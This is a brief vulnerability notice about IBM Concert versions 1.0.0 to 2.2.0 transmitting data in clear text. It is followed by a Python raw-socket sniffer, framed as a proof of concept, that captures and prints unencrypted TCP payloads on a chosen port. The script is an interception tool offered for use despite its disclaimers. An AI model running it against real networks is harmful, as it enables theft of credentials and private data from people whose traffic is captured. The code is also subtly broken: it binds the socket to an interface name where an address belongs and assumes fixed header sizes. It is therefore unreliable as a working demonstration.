IBM Concert 1.0.0 through 2.2.0 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.
The following code is for security research and authorized testing only.
python
import socket
import struct
# PoC for demonstrating clear text transmission interception
# This script listens on a specified port for unencrypted traffic
# Note: This is for educational purposes and testing in authorized environments only.
def sniff_traffic(interface, port):
try:
# Create a raw socket to listen for TCP packets
# Note: This usually requires root/admin privileges
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
sniffer.bind((interface, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
print(f"[*] Sniffing on interface {interface} for traffic related to port {port}...")
while True:
raw_buffer = sniffer.recvfrom(65565)[0]
# Unpack the first 20 bytes of the IP header
ip_header = raw_buffer[0:20]
iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
# Extract protocol and source/destination IPs
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8])
d_addr = socket.inet_ntoa(iph[9])
# If it's TCP
if protocol == 6:
# Parse TCP header
tcp_header = raw_buffer[20:40]
tcph = struct.unpack('!HHLLBBHHH', tcp_header)
source_port = tcph[0]
dest_port = tcph[1]
# Check if traffic matches the target port
if source_port == port or dest_port == port:
print(f"[+] Captured Packet: {s_addr}:{source_port} -> {d_addr}:{dest_port}")
# Print payload (assuming clear text)
payload = raw_buffer[40:]
try:
print(f" Payload (Clear Text): {payload.decode('utf-8', errors='ignore')}")
except:
print(f" Raw Payload: {payload}")
except KeyboardInterrupt:
print("\n[*] Sniffing stopped.")
except Exception as e:
print(f"[Error] {e}")
if __name__ == "__main__":
# Replace with actual interface and port used by IBM Concert
TARGET_INTERFACE = "eth0"
TARGET_PORT = 8080
sniff_traffic(TARGET_INTERFACE, TARGET_PORT)